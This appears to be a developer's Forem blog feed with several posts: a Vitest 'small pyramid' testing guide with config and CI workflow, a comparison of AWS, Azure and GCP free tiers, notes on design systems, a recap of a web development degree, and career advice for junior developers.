Forem: Bradley Matera

Testing That I Actually Run: A Small Pyramid

Bradley Matera — Thu, 29 Jan 2026 19:38:41 +0000

The "Testing Guilt" Cycle

There is a cycle that every developer goes through. It starts with a vow: "This time, I will have 100% code coverage. I will write E2E tests for every button click. I will be a 'Responsible Engineer'."

Two months later, the CI pipeline takes 20 minutes to run. The E2E tests flake out randomly because a div moved 2 pixels. You start commenting out tests just to get a hotfix deployed. Eventually, you stop running npm test altogether.

I have abandoned more test suites than I care to admit.

The problem isn't the desire to test; it's the strategy. We often build an "Ice Cream Cone" of testing: massive, slow, expensive UI tests on top, with a tiny cone of unit tests at the bottom. This is unstable and exhausting.

In 2025, I flipped the script. I use a "Small Pyramid" strategy. It relies on a high volume of ultra-fast unit tests, a complete absence of complex E2E frameworks (for personal projects), and a rigorous, documented "Smoke Protocol."

This post is the blueprint for that stack.

Level 1: The Infrastructure (Why Vitest Won)

For the better part of a decade, Jest was the undisputed king of JavaScript testing. But as the ecosystem shifted toward ESM (ECMAScript Modules) and TypeScript, Jest started showing its age.

The Problem with Jest: Jest operates by overriding the Node.js require system. To make it work with modern TypeScript or Vite projects, you essentially have to configure a Babel pipeline just for your tests. It is slow, memory-hungry, and debugging "SyntaxError: Cannot use import statement outside a module" is a rite of passage I never want to repeat.
The Solution (Vitest): Vitest is a native Vite-powered test runner. It reads your existing vite.config.ts. It supports ESM out of the box. It uses Worker threads for true parallelism.

The Setup

We don't just install a library; we define a standard. The package.json is the contract.

Command:

npm install -D vitest @vitest/coverage-v8

Configuration (package.json):

{
  "scripts": {
    "test": "vitest run",
    "test:watch": "vitest",
    "test:coverage": "vitest run --coverage"
  }
}

The Config File (vitest.config.ts):
We create a dedicated config to ensure our testing environment isolates side effects.

import { defineConfig } from 'vitest/config';

export default defineConfig({
  test: {
    environment: 'node', // Use 'jsdom' if testing React components
    include: ['src/**/*.test.ts'],
    coverage: {
      provider: 'v8',
      reporter: ['text', 'json', 'html'],
    },
    // Fail the build if we accidentally leave a .only() in the code
    allowOnly: false, 
  },
});

Why this matters:
Using vitest run (single pass) vs vitest (watch mode) is a crucial distinction for CI/CD pipelines. If you put vitest in your GitHub Action, it will hang forever waiting for input.

Level 2: The Unit Test (The Bedrock)

The bottom of the pyramid must be wide and stable. These tests verify Pure Logic.

A "Pure Function" is a function that, given the same input, always returns the same output and produces no side effects (no API calls, no DOM updates). These are the easiest to test and the most critical to verify.

Real World Example: Data Transformation

Imagine an e-commerce app where we need to format a messy API response into a clean UI object.

The Logic (src/utils/formatter.ts):

interface UserAPIResponse {
  first_name: string | null;
  last_name: string | null;
  created_at: string; // ISO Date string
  role: 'admin' | 'user' | 'guest';
}

interface UserUI {
  fullName: string;
  memberSince: string;
  isAdmin: boolean;
}

export function formatUser(user: UserAPIResponse): UserUI {
  const first = user.first_name ?? 'Guest';
  const last = user.last_name ?? '';

  // Format Date (simple implementation for demo)
  const date = new Date(user.created_at);
  const year = date.getFullYear();

  return {
    fullName: `${first} ${last}`.trim(),
    memberSince: isNaN(year) ? 'Unknown' : year.toString(),
    isAdmin: user.role === 'admin',
  };
}

The Test Suite (src/utils/formatter.test.ts):

import { describe, it, expect } from 'vitest';
import { formatUser } from './formatter';

describe('formatUser utility', () => {
  it('combines names correctly', () => {
    const input = { 
      first_name: 'Jane', 
      last_name: 'Doe', 
      created_at: '2023-01-01', 
      role: 'user' 
    } as const;

    expect(formatUser(input).fullName).toBe('Jane Doe');
  });

  it('handles null names gracefully', () => {
    const input = { 
      first_name: null, 
      last_name: null, 
      created_at: '2023-01-01', 
      role: 'guest' 
    } as const;

    expect(formatUser(input).fullName).toBe('Guest');
  });

  it('identifies admin privileges', () => {
    const input = { 
        first_name: 'Admin', 
        last_name: 'User', 
        created_at: '2023-01-01', 
        role: 'admin' 
    } as const;

    expect(formatUser(input).isAdmin).toBe(true);
  });

  it('handles invalid dates', () => {
      const input = { 
          first_name: 'Test', 
          last_name: 'User', 
          created_at: 'invalid-date', 
          role: 'user' 
      } as const;

      expect(formatUser(input).memberSince).toBe('Unknown');
  });
});

The Lesson:
This suite runs in 4 milliseconds. It protects us against null pointer exceptions and ensures our UI never says "undefined undefined". This is the highest ROI (Return on Investment) coding you can do.

Level 3: The "Smoke Protocol" (The Human Element)

This is where I diverge from the "Best Practices" dogma.

Standard advice says "Automate Everything." But setting up Cypress or Playwright to click a "Login" button, handle Authentication tokens, deal with 2FA, and wait for animations to finish is a massive maintenance burden. For a solo developer or a small team, maintenance is the enemy.

Instead, I use a rigorous Manual Smoke Protocol.

This isn't just "clicking around." It is a standardized checklist committed to the repository that must be physically checked off before a release.

The Protocol File (docs/QA_SMOKE_CHECK.md):

# 🛑 Release Smoke Check Protocol
**Do not merge to main until all items are verified.**

## 1. Critical User Flows
- [ ] **Authentication:** Log out and Log back in using Google Auth.
- [ ] **Data Persistence:** Update the user profile name, refresh the page. Does the new name persist?
- [ ] **Payment Flow:** Go to /pricing, click "Buy", reach the Stripe Checkout hosted page. (Do not need to complete purchase).

## 2. Responsive Check
- [ ] **Mobile Menu:** Open on iPhone viewport (Chrome DevTools). Does the hamburger menu expand?
- [ ] **Grid Layout:** Resize window to 768px. Does the 3-column grid snap to 1-column?

## 3. The "Stupid" Check
- [ ] **Console Errors:** Open DevTools console. Are there any red text blocks on the homepage?
- [ ] **Links:** Click the "Contact Us" link in the footer. Does it 404?

Why this works:
It forces you to look at your application. Automated tests pass silently. Manual tests force you to feel the latency, see the layout shifts, and notice the janky animations that a script would ignore.

The "Gap" Analysis: What Are We Missing?

To be an honest engineer, you must admit what you are not testing. In this "Small Pyramid" stack, we have deliberate gaps:

Visual Regression: We are not using Percy or Chromatic to check pixel-perfect rendering.
Risk: I might accidentally change the button color from blue to slightly-less-blue.
Acceptance: I can live with this risk in exchange for development speed.
Integration Tests: We are not mocking the full API and testing the connection between the Frontend and Backend components.
Risk: The API contract might change (e.g., firstName becomes first_name) and the frontend will crash.
Mitigation: This is caught during the Manual Smoke Check.
Cross-Browser Testing: I am mostly testing on Chrome.
Risk: Safari might render flexbox differently.
Acceptance: 90% of my traffic is Chrome/Mobile Safari. The Smoke Check covers the Mobile Safari viewport.

Bonus: Automating the Bedrock (GitHub Actions)

We can't automate the Smoke Check easily, but we must automate the Unit Tests. If tests only run on your laptop, they don't exist.

Here is the exact workflow file I drop into every project.

File: `.github/workflows/test.yml`

name: Unit Tests

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout Code
        uses: actions/checkout@v4

      - name: Setup Node
        uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: 'npm'

      - name: Install Dependencies
        run: npm ci

      - name: Run Vitest
        run: npm test

This ensures that no code can be merged into main unless the math functions and data formatters are working perfectly.

Final Verdict

Testing is not binary. It is not "Tested" vs "Untested." It is a spectrum of confidence.

By using Vitest for the logic that must be correct (math, data formatting) and a Smoke Protocol for the things that must look right (layout, navigation), you achieve 95% of the confidence with 10% of the maintenance cost of a full E2E suite.

That is a trade I will take every single time.

AWS vs. Azure vs. Google Cloud: The Ultimate Free Tier Battle & Survival Guide

Bradley Matera — Thu, 29 Jan 2026 18:40:57 +0000

Which cloud provider actually supports a developer’s growth for free, and which one is designing a billing trap?

In my previous post, I broke down the mechanics of the AWS Free Tier—specifically how to survive the first 12 months without incurring surprise debt. Since then, the conversation has shifted toward a broader comparison. It is not enough to just know how AWS works; as developers, we need to know if we are even betting on the right horse.

If you are building a portfolio, launching a startup prototype, or just trying to learn cloud without melting your credit card, you need a side-by-side technical and financial breakdown.

This is that breakdown.

We are going to pit AWS, Microsoft Azure, and Google Cloud Platform (GCP) against each other. We will analyze their compute limits, database constraints, hidden network costs, and the specific "gotchas" that each provider uses to monetize their free users.

The Philosophy of "Free"

Before looking at the numbers, you have to understand the business model, because it dictates the limitations you will face.

"The cloud is not a charity. The Free Tier is a customer acquisition funnel designed to integrate you into an ecosystem."

AWS wants you to build habits. Their 12-month model is designed to get you addicted to their specific proprietary tools (RDS, S3, IAM) so that when the year ends, the switching cost is too high to leave.
Azure wants enterprise adoption. They front-load credits ($200) to let you taste the "premium" power, hoping you'll convince your boss to migrate the company infrastructure later.
GCP plays the long game. They are the distant third in market share, so they offer the most generous "Always Free" tier to attract hobbyists and students, hoping that grassroots loyalty will grow their market share.

1. Compute: The Engine Room

The biggest cost for any project is the Virtual Machine (VM). Here is how they compare when you strip away the marketing fluff.

AWS: The Standard (EC2)

The Offer: 750 Hours/month of t2.micro or t3.micro.
The Specs: 2 vCPUs (burstable), 1 GiB Memory.
The Reality: This is enough to run one instance continuously (24/7) for a month. However, AWS uses a "CPU Credit" system. If your website gets a sudden spike in traffic, you burn credits. If you run out of credits, your CPU is throttled to baseline performance, making your site crawl.
The Trap: It is strictly 12 months. On day 366, you are billed standard on-demand rates.

Azure: The Burstable (B-Series)

The Offer: 750 Hours/month of B1s instances.
The Specs: 1 vCPU, 1 GiB Memory.
The Reality: Similar to AWS, this uses a credit banking system. The B1s is noticeably weaker than the AWS t3.micro for multi-threaded tasks because it only offers 1 vCPU compared to AWS's 2.
The Trap: The interface. Azure’s portal is complex. It is very easy to accidentally select a "Standard SSD" (paid) instead of a "Standard HDD" (free) during setup.

GCP: The Forever Server (Compute Engine)

The Offer: e2-micro instance.
The Specs: 2 vCPUs, 1 GiB Memory (0.25 vCPU sustained).
The Reality: This is the winner for longevity. As of this writing, this offer is part of the "Always Free" program, meaning it does not expire after 12 months.
The Trap: Location. This is only free in specific regions (usually us-west1, us-central1, us-east1). If you deploy in us-east4 by mistake, you pay full price immediately.

2. Databases: The Expensive Part

Stateless servers are cheap; stateful data is expensive. This is where the cloud providers try to squeeze you.

AWS (RDS)

AWS offers 750 hours of db.t2.micro or db.t3.micro (Single-AZ).

Pros: You get a real, managed relational database (MySQL, PostgreSQL, MariaDB).
Cons: It stops being free after 12 months. Migrating data out of AWS later can be tricky due to egress fees.

Azure (SQL Database)

Azure offers 250 GB of Azure SQL Database.

Pros: 250 GB is massive compared to the 20GB limit often seen elsewhere.
Cons: This is specifically "Azure SQL," which is Microsoft SQL Server. If your project is built on Postgres or MySQL, this free tier doesn't help you much. You have to adapt your stack to their technology.

GCP (Firestore)

GCP does not offer a generous free tier for Cloud SQL (their managed relational service). Instead, they push you toward Firestore (NoSQL).

Pros: Firestore is incredibly fast and easy for mobile apps.
Cons: It is NoSQL. If you are trying to learn traditional SQL table relationships, GCP forces you to pay roughly $10-$15/month for the smallest SQL instance.

3. The "Silent Killers" of Cloud Billing

Regardless of which provider you choose, the billing algorithms share the same ruthless logic regarding "optional" resources. These are the line items that do not appear on the main pricing page but appear on your invoice.

The Orphaned Volume

When you terminate a server, the cloud provider assumes you want to keep the data. They delete the compute resource but leave the hard drive (EBS/Disk) active.

The Cost: Roughly $0.10 per GB per month.
The Fix: You must manually locate the "Storage" or "Volumes" dashboard and delete these unattached disks. There is no auto-delete for these.

The Static IP Tax

A static IP (Elastic IP) is free only while it is being used.

The Logic: IPv4 addresses are a scarce global resource. The providers punish you for hoarding them.
The Cost: If you stop your server but keep the IP reserved, you are charged ~$0.005/hour. That is roughly $3.60/month for doing absolutely nothing.

Data Egress (The "Hotel California" Fee)

You can check out any time you like, but you can never leave—without paying.

Ingress (Data In): Always Free.
Egress (Data Out): Charged per GB after a small threshold.
The Risk: If you host a large media file and it gets hotlinked on a popular site, your egress fees will skyrocket instantly.

Final Verdict: Which One Should You Choose?

After deploying stacks on all three, here is my decision matrix for new projects:

Choose AWS If:

You are job hunting. AWS holds the largest market share. Having "Deployed MERN stack on EC2" on your resume is statistically more valuable than the others.
You need a standard SQL database. The RDS free tier is the most straightforward way to run MySQL/Postgres for a year.

Choose GCP If:

You are building a permanent personal tool. If you want a Discord bot or a script runner that stays online for 5 years for $0, the e2-micro is unmatched.
You are comfortable with Linux/Command Line. GCP’s interface is developer-focused but less "hand-holding" than Azure.

Choose Azure If:

You work in the .NET ecosystem. Visual Studio integration with Azure is seamless.
You need massive database storage. The 250GB SQL limit is generous if you are willing to use Microsoft SQL Server.

The Golden Rule

The only true way to stay free is vigilance. Set up "Billing Alerts" the moment you create your account. Set an alert for $0.01. The moment you get that email, you know you have crossed a line, and you can fix it before it becomes a $500 problem.

Stay curious, keep building, and check your billing dashboard every single morning.

— Bradley Matera

(bradleymatera.dev)

Designing Systems That Actually Ship

Bradley Matera — Sat, 13 Dec 2025 00:24:32 +0000

Context: This is how I approach reusable UI as an engineer who cares about consistency, accessibility, and developer experience, even on small teams and solo builds.

AI assist: ChatGPT helps me outline docs and tighten wording. The code choices, constraints, and results come from my own builds, audits, and reviews.

Status: 2025 playbook based on how I’ve been structuring my Gatsby portfolio and other React projects while I finish my degree and keep shipping.

TL;DR

I try to build UI systems the same way I build production software: translate intent into predictable patterns, document decisions clearly, and keep accessibility and maintainability in mind. My stuff leans opinionated and a little over-structured because I want it to survive edits, handoffs, and future me forgetting why I did something.

In practice, I lean on:

Tokens and primitives (mostly CSS custom properties + reusable components) to encode intent.
Documentation patterns (recipes, reality blocks, checklists) to prevent drift.
Accessibility defaults and lightweight audits so the system stays usable, not just good looking.

Reality snapshot

Where this is applied: My Gatsby portfolio/blog, school projects, and small React apps where I want consistent UI without rewriting styling rules on every page.
Tooling I actually use: Gatsby + React, MDX, TypeScript (when the project calls for it), ESLint/Prettier, Lighthouse, basic accessibility checks (keyboard navigation, headings/labels, contrast), and Playwright smoke tests on deploy previews for flow-heavy projects. Axe automation is still being rolled in.
What I’m not claiming: I’m not running a full enterprise design-system pipeline. I’m not consistently shipping versioned npm packages for a design system, and I’m not running visual regression testing as a hard gate on every project.
What I do have: A repeatable way of building components, keeping styles consistent, and documenting decisions so the site stays maintainable.

Reality snapshot
Why I take design systems seriously
Over-structuring is a feature
How I translate design into code
CSS architecture and constraints
Accessibility is part of the API
Documentation as a first-class deliverable
Design system starter kit (my 2025 version)
Collaboration habits that keep changes shippable
Receipts from my own builds
Working across design and engineering
What I care about building next
Closing thoughts

Why I Take Design Systems Seriously

Design systems are not just styling. They are a contract.

Even on a small project, UI breaks down when the rules live in someone’s head. That’s when you get drift: spacing starts to vary, buttons feel different across pages, and you end up with random one-off styling fixes that are hard to unwind later.

I learned that a lot of UI issues aren’t “design problems.” They’re consistency problems caused by unclear patterns and missing documentation.

When I build a reusable component, I’m not only thinking about how it looks on one page. I’m thinking about how it behaves when:

It gets reused across multiple pages
It needs responsive layout behavior
Someone updates it later without context
Accessibility needs tighten up
The site grows and “quick fixes” start stacking up

That’s why I push structure early. It saves time later.

Over-Structuring Is a Feature, Not a Flaw

I used to worry that I was adding too much ceremony. Then I ran into the same class of problems repeatedly: unclear props, inconsistent spacing, and components that slowly turned into “do anything” blobs.

So now I try to separate three things as I build:

Intent: what the component is for
Implementation detail: what can change without breaking consumers
Consumer API: what other code should touch (props, variants, and documented usage)

This shows up in how I organize components, tokens, and docs.

I prefer systems where spacing, color, and typography decisions don’t get scattered across random files or inline overrides. Instead, I centralize them behind a small set of variables and patterns.

Sometimes I still use UI libraries depending on the project. When I do, I try to rely on theme-level configuration and composition more than ad-hoc overrides. I want the system to feel predictable to the next developer.

How I Translate Design Into Code

I treat UI decisions like data, even when I’m working without a formal design handoff.

My first step is usually “pattern spotting”:

What repeats?
What should scale across breakpoints?
What’s a real variant vs. a one-off?
What can be standardized into a token?

From there I map it into abstractions developers expect:

Tokens via CSS custom properties for things like spacing, radii, and colors
Constrained variants for components instead of “pass any class”
Reusable layout wrappers instead of rewriting layout rules every time

I’m not chasing perfect parity on the first pass. I’m chasing predictable evolution. I want it to be obvious where changes should live when the site grows.

CSS Architecture and Constraints

CSS is powerful, but it gets messy fast without boundaries.

In my projects, I try to keep CSS:

Predictable (low specificity, few surprises)
Consistent (shared variables and repeated patterns)
Responsive (layouts that don’t collapse weird on mobile)
Debuggable (simple selectors, clear ownership)

Even when using modern tooling, the fundamentals still matter: flow, containment, inheritance, layout, and the cascade.

CSS custom properties do a lot of work for me because they’re transparent and flexible. If something feels off, I can inspect it quickly and trace where it came from.

Animations exist, but I keep them restrained. If motion doesn’t improve clarity or hierarchy, it’s probably noise.

Accessibility Is Part of the API

Accessibility is not something I want to “add later.” It shapes how components should be built.

In practice, that means I aim for:

Semantic HTML first
Keyboard navigation that makes sense
Clear labels, headings, and focus states
Contrast that isn’t fragile

My approach is not perfect, but it is consistent. I do a lot of basic checks that catch the majority of issues early, especially on content-heavy pages like my blog.

I also don’t pretend that a visually correct UI is automatically usable. I try to validate behavior, not just appearance.

Documentation as a First-Class Deliverable

Documentation is part of shipping, especially when UI patterns are reused.

Good docs answer:

What this is for
When to use it
When not to use it
What assumptions it makes
What is intentionally out of scope

I write documentation mostly to reduce future confusion. If a system requires tribal knowledge to use, it will fragment.

This is also why I care about contribution habits like code reviews and clear PR descriptions. Even on solo projects, I treat my repo like someone else will inherit it later.

Design System Starter Kit (My 2025 Version)

This is what I actually use or aim for in my projects, without pretending it’s an enterprise pipeline.

Tokens as the baseline: CSS custom properties for spacing, typography scale, radii, and colors. When I add a new value, I try to do it as a token first instead of a one-off.
Layout patterns: A small set of reusable layout components or classes (sections, cards, grids, stacks) so pages don’t become unique snowflakes.
Constrained variants: Buttons, badges, and cards usually expose a few variants and sizes. I avoid “pass any className and hope” unless it’s a deliberate escape hatch.
State handling: Disabled and loading states are treated as real states, not afterthoughts. If the UI can be in that state, it should be styled and understandable.
Lightweight validation: Lighthouse runs, keyboard walkthrough, basic contrast checks, and quick manual spot checks across breakpoints. Axe automation is still on deck.
Docs scaffolding: For the parts I reuse the most, I keep short docs that include intent, usage examples, and “don’t do this” notes.

Collaboration Habits That Keep Changes Shippable

A lot of my work is solo, but I still try to build habits that translate to team environments:

I write PR descriptions as if someone else will review them later.
I keep notes about what a change impacts (layout, typography, components, content).
If a change risks breaking UI, I test it across desktop and mobile widths before calling it done.
I try to leave “why” breadcrumbs in commit messages, not just “what.”

On teams, I think most UI chaos comes from missing intent and unclear ownership. My default move is to make the decision explicit, then make it repeatable.

Receipts From My Own Builds

These are examples of how I’ve been applying this on my own site and projects, without overselling it.

Area	What I shipped	Practices applied
Gatsby portfolio/blog	CSS variable tokens in `src/styles/global.css`, MDX shortcodes (Callout/Aside/Tip) to keep posts consistent, and built-in skip link/back-to-top controls.	Documented content patterns in `docs/content-authoring.md`, predictable section/card layouts, Lighthouse + keyboard spot checks.
Interactive Pokédex (GitHub Pages)	Vanilla JS + Tailwind build with labeled search, accessible sprites, caching, and clear rate-limit messaging.	Lighthouse scores logged in the repo, keyboard walkthroughs per README, planned Jest + Playwright tests noted in the post.
CheeseMath (Card Obscurer)	Luhn validation, inline errors, ARIA labels; CodePen prototype graduated to a GitHub Pages demo.	Reality block lists mobile Safari quirks; next steps are axe/Lighthouse audits and unit tests before calling it portfolio-ready.

Working Across Design and Engineering

I’m comfortable sitting between design and engineering because I’m used to translating intent into constraints.

I don’t try to redesign someone’s work. I try to clarify it, and then encode it into predictable patterns.

When there’s tension between design fidelity and engineering constraints, my preference is to surface it early and make the tradeoff explicit rather than silently compromising.

Most friction comes from ambiguity. Clarity solves more than arguing about implementation details.

What I Care About Building Next

I want to work on UI systems that feel like infrastructure.

That means systems that:

Are used by multiple developers or teams
Need stability over time
Balance flexibility with consistency
Treat accessibility and predictability as core requirements

I’m not chasing novelty. I care about systems that quietly work, scale, and reduce cognitive load for people building product UI.

Closing Thoughts

I’m not a visual designer. I’m an engineer who cares about UI being consistent, accessible, and maintainable.

I default to structure because ambiguity doesn’t scale. I write docs because people deserve clarity. And I try to build systems that make the correct thing easy and the wrong thing harder to do by accident.

If there’s one theme across my projects, it’s this:

good systems keep shipping because they stay understandable.

Full Sail University: How Formal Training Shaped My Approach

Bradley Matera — Sun, 07 Dec 2025 18:49:09 +0000

Context: Finished Full Sail’s Web Development B.S. in October 2025 (GPA ~3.8). Still looking for my first paid SWE role.

AI assist: ChatGPT helped reorganize my notes; I cross-checked with syllabi/transcripts.

Status: Honest recap, not an attempt to inflate coursework into production experience.

Program snapshot

Full Sail’s Web Development program moves fast. Everything is built around four-week sprints—controlled chaos with a deadline. You focus on one course at a time, but each month hits like its own bootcamp.

Format: 4-week sprints with rotating instructors and rubrics.
Schedule: Workload shifted constantly—some weeks light, others unexpectedly heavy.
Deliverables: Working build, documentation, rubric checklist, and a retro or reflection.
Grading weight: Docs/presentation quality mattered almost as much as code.

Course areas that shaped me the most

Full Sail’s titles shifted over time and instructors ran things differently, so grouping by area is more honest than listing exact course names.

Course area	Key deliverable	Skills reinforced
Full-stack project cycles (Project & Portfolio)	Building and iterating on a React + Node app each month	Iteration, planning, accepting critique, demoing unfinished work with confidence
Server-side development	REST APIs, templating, session-based auth in Node/PHP	Routing, state handling, error patterns, readable backend structure
Cloud and application deployment	AWS Academy labs with services like Elastic Beanstalk, RDS, CloudWatch (sandbox depth)	Basic cloud mental models, logging, monitoring, cost awareness, rollback habits
Systems and configuration basics	Linux permissions, basic Nginx concepts, small automation scripts	Ops hygiene, troubleshooting steps, repeatable checklists, scripting discipline
Human-Computer Interaction & UX	Usability testing, accessibility checks, persona-driven design exercises	UX empathy, accessibility awareness, clearer communication with non-technical people

Signature projects & evidence

Capstone: Car-Match (personal learning project)

Stack: React, Node.js/Express, MongoDB Atlas, Render (backend), GitHub Pages (frontend)
Reality: End-to-end matching prototype I built myself. Handles auth, profiles, uploads, scoring, and real-time updates once the backend wakes up. Runs on free-tier infra, so I classify it as a learning project—not production.
Repo + demo: https://github.com/BradleyMatera/car-match

Other projects that shaped my learning

Interactive Pokédex: API-driven search, cards, error states, responsive layout. Demo: https://bradleymatera.github.io/Interactive-Pokedex/
AnimalSounds: Small UI/UX experiment for sound triggers and mobile-first interaction. Demo: https://bradleymatera.github.io/AnimalSounds/
Professional Portfolio Website: Hand-built portfolio (no template). Demo: https://bradleymatera.github.io/Professional-Portfolio-Website/
CheeseMath (Jest Tests): Tiny math utility to learn unit testing/mocking/CI. Demo: https://bradleymatera.github.io/CheeseMath-Jest-Tests/
Triangle WebGPU Demo: First graphics experiment; learned the pipeline and debugging GPU errors. Demo: https://bradleymatera.github.io/TriangleDemo/
Ethics Engine Frontend Demo: Rule-based decision UI prototype. Demo: https://bradleymatera.github.io/EthicsFrontEndDemo/

Server Management Lab

Covered Linux hardening, Nginx basics, and bash automation. I didn’t build full AWS pipelines there; most of my ops habits came later from personal projects and the AWS internship.

Communication touchpoints

This was a remote program. I didn’t do weekly stand-ups with classmates. Most “comms practice” came from Tech Talk (an after-class group) and occasional Q&A with instructors. The status-report style in my repos is a personal habit, not from formal stand-ups.

Habits I carried forward

Sprint rhythm: Intake → prototype → critique → iterate → deliver.
Docs before code: Clarity, diagrams, tests, deploy notes, retro—no “done” without docs.
Feedback resilience: Frequent scope pivots desensitized me to change.
Honesty logs: Every project tracks what’s done, broken, and next.

Beyond coursework

AWS Cloud Support Internship: Concepts at school; reality at AWS—log hunting, broken infra diagnosis under time pressure.
Community involvement: CIRIS docs, Tech Talk Club, alumni Q&A, small OSS fixes.
Personal experiments: WebGPU shaders and Zig parsers filled curriculum gaps and showed where academics stop and the real world begins.

What the program didn’t cover (well)

Deep CS theory (algorithms, data structures beyond basics).
Production-scale DevOps (multi-account AWS, Terraform modules, blast radius).
Real on-call culture—no paging, SLAs, or incident triage.
System design beyond small apps.
I compensate with LeetCode, cloud labs, ACloudGuru, personal projects, and the internship.

A week-in-the-life during a sprint

There was no single “normal week.” Each course had its own rhythm. The consistent anchors:

Weekly project due Sunday
If discussions existed: initial post Thursday, two replies Sunday

Everything else moved. Some weeks felt like lightweight labs; others like a four-week hackathon squeezed into six days. Rubrics sometimes contradicted themselves. The real skill was adjusting, interpreting, and self-organizing.

Early-week orientation: Rubric drops, announcements, decoding expectations (every instructor interpreted rubrics differently).
Mid-week chaos (or silence): Could be UI flows, backend logic, DB schema, AWS lab, accessibility review, or waiting for clarifications.
Late-week push (Thu–Sun): Partners available, critiques posted, requirements clarified—prototypes became real builds.
Sunday crunch: Final packaging, retros, last-second fixes, demos, screenshots, README tweaks. Most submissions landed in a 6–10 hour window before 11:59 PM ET.

Bottom line: no ritual Monday–Friday—only adaptation, deadlines, and evidence. That forced me to build my own systems for consistency and delivery.

Mistakes I made (and fixed) — the real list

Building the whole idea instead of the assignment: I’d architect like it was a startup app and chase features no one graded. Fix: work backward from the rubric and ship faster.
Over-researching instead of starting: I’d read docs, overthink tooling, and delay writing code. Fix: prototype early, even if rough—speed doubled once something existed.
Light Git/GitHub use early on: Forgot to commit/branch and lost work. Fix: proper commits/branches became natural once projects grew (Car-Match).
Letting vague rubrics stall me: I’d wait for clarification and lose days. Fix: make assumptions, document them, and move.
Underestimating “simple” tasks: UI, APIs, deploys, and auth always took longer. Fix: pad time and treat “simple” as “unknown.”
Not testing on real devices: Early projects broke on phones/tablets. Fix: test on mobile and use dev tools for responsiveness.
Deploying last-minute: Sunday-night deploys failed (cold starts, cache, env vars). Fix: deploy early/often—never first deploy on Sunday.
Working solo by default: In groups I’d carry too much. Fix: delegate by rubric items, set boundaries.
Not documenting decisions: Forgetting my own reasoning led to rework. Fix: write decisions while coding.
Perfection before done: Polished UI and rewrote working code needlessly. Fix: Done → Working → Better.
Avoiding “boring” topics: Accessibility, testing, comments, error messages, validation. Fix: school and Car-Match forced me to care.
Trying to learn everything at once: Spread too thin across front/back/cloud/devops/design. Fix: narrow focus to 1–2 skills per month and rotate.

How I present this to employers

This degree gave me reps, not production.
I pair each course with a link + one-sentence takeaway.
I’m explicit about gaps and how I’m closing them.
I show projects, runbooks, evidence, retros—not hype.

Advice to future Full Sail students

Treat rubrics like user stories—finish with evidence.
Keep a parking-lot list so you don’t chase stretch ideas mid-sprint.
Record Looms weekly; they save presentations.
Build one anchor project outside class to unify skills.

Metrics and receipts

~20 projects shipped.
Every sprint: at least two critique loops.
GPA ~3.8; strongest in docs/presentations.
Post-grad: weekly code reviews with peers to keep cadence alive.

Artifacts & links

Most portfolio/GitHub repos come from Full Sail work, but syllabi, rubrics, and runbooks are private or lost. If you want specific artifacts, I can share what I have privately.

Key takeaways

Formal education gave me structure, accountability, and reps presenting/defending work.
Side projects and internships are essential to stress-test those skills.
Full Sail drilled an honesty mindset: document what’s done, what’s broken, and what’s next—no fluff.

How to Sell Your Skills with a Small Project

Bradley Matera — Thu, 20 Nov 2025 22:34:12 +0000

A Guide for Developers Who Feel Like They Don’t Have Enough Experience

A lot of people hold themselves back because they think they need a massive full-stack application to prove they can code. The truth is — a basic web demo can show more than enough skill if you build it intentionally and explain it the right way.

This guide is about taking something small — literally three files — and turning it into something you can confidently put on a résumé, in a portfolio, or discuss in interviews without exaggerating your abilities.

Step 1: Your Project Can Be Small — Just Make It Real

You don’t need a full SaaS app. You don’t need authentication systems and complex APIs.

For most junior roles, a realistic demo looks like this:

index.html
style.css
script.js

That can be your entire codebase, hosted on GitHub Pages, and it can still prove you know what you’re doing — if you treat it like a real product.

The key isn’t size — it’s intention. Every file should serve a purpose, and every purpose can be explained as real engineering work.

⸻

Step 2: What Skills Can You Show?

Here’s what a recruiter or engineer sees when they look at even a simple demo site — IF you structure it well and document it clearly.

Frontend Thinking

If your layout makes sense and responds well to different screens, that’s frontend engineering.
If you explain why something goes where it goes — that’s UX/UI understanding.
If you use CSS tokens or variables — that shows planning and scalability.

State & Data Handling

If your site uses localStorage, sessionStorage, or even a simple JSON file — you’re showing backend logic and data flow understanding.
If you handle user input with validation — that’s real logic, not just visuals.

Deploying It Live

If it’s on GitHub Pages, Netlify, Vercel, or any real host — then you’ve already touched DevOps:
• version control
• build settings
• deploy logs
• environment setup
• troubleshooting live errors

That alone puts you ahead of people who only code locally.

⸻

Step 3: Make the README Do Half the Work for You

Your README is where you sell yourself without lying.
You explain what the project is, why you built it, what problem it solves, what decisions you made, and what you’d improve later.

That shows growth, and growth is what recruiters actually look for in junior devs.

⸻

Step 4: Add One Detail That Makes It Stand Out

To turn a basic demo into real proof of skill:
Pick one feature and build it well.

Examples:
• A theme toggle with JavaScript and localStorage
• Live form validation
• Simple data filtering and sorting
• A dynamic card system (like a product grid)
• A user settings panel that remembers choices

Something small, but intentional.

⸻

Step 5: Talk About the Project Like an Engineer

In interviews or your portfolio, never say:

“It’s just a small demo.”

Say this instead:

“I built a small frontend project to show responsive design, basic data handling, and deployment. I focused on user flow, accessibility tags, and real interaction. If I had more time, I’d expand it with a backend and user system.”

You didn’t lie.
You didn’t exaggerate.
But you framed it like someone who thinks in systems — which is what engineers do.

⸻

Final Message to Anyone Who Feels Behind

Your project doesn’t have to be huge. It just has to have a reason.
If it runs, if you can explain it, and if you can improve it — that counts.

Three files can become a job interview.
A GitHub Page can become your first portfolio piece.
One small idea can start everything.

Build it small.
Learn from it honestly.
Deploy it anyway.
Let it represent you — until you build the next one.

That’s how you sell your skills without lying — and without feeling like a fraud.

Job hunting is poopie

Bradley Matera — Thu, 20 Nov 2025 20:53:37 +0000

Not a Success Story. Just the Truth About Trying.

I did grow up around computers but i never took any AP computer science classes nor did i attend any robotics club. I spent most of my adult life doing work that had nothing to do with terminals, VS Code, or GitHub. I was a medic in the 82nd Airborne. I walked roofs with nail guns. I worked security at night. I dealt with overdoses and addiction when I worked case management. I cleaned cat cages at a rescue shelter for years. None of that pointed toward writing software for a living. And for most of my life, I didn’t think tech was even an option for someone like me.

When I finally opened a terminal for the first time, it didn’t feel intimidating — but it also didn’t feel normal. Basic commands felt like learning a new language. Learning what a for loop was felt like being introduced to a logic system I had never used before. And learning React felt like someone pulled the rug halfway under me — just enough for me to stand but not enough to feel fully steady.

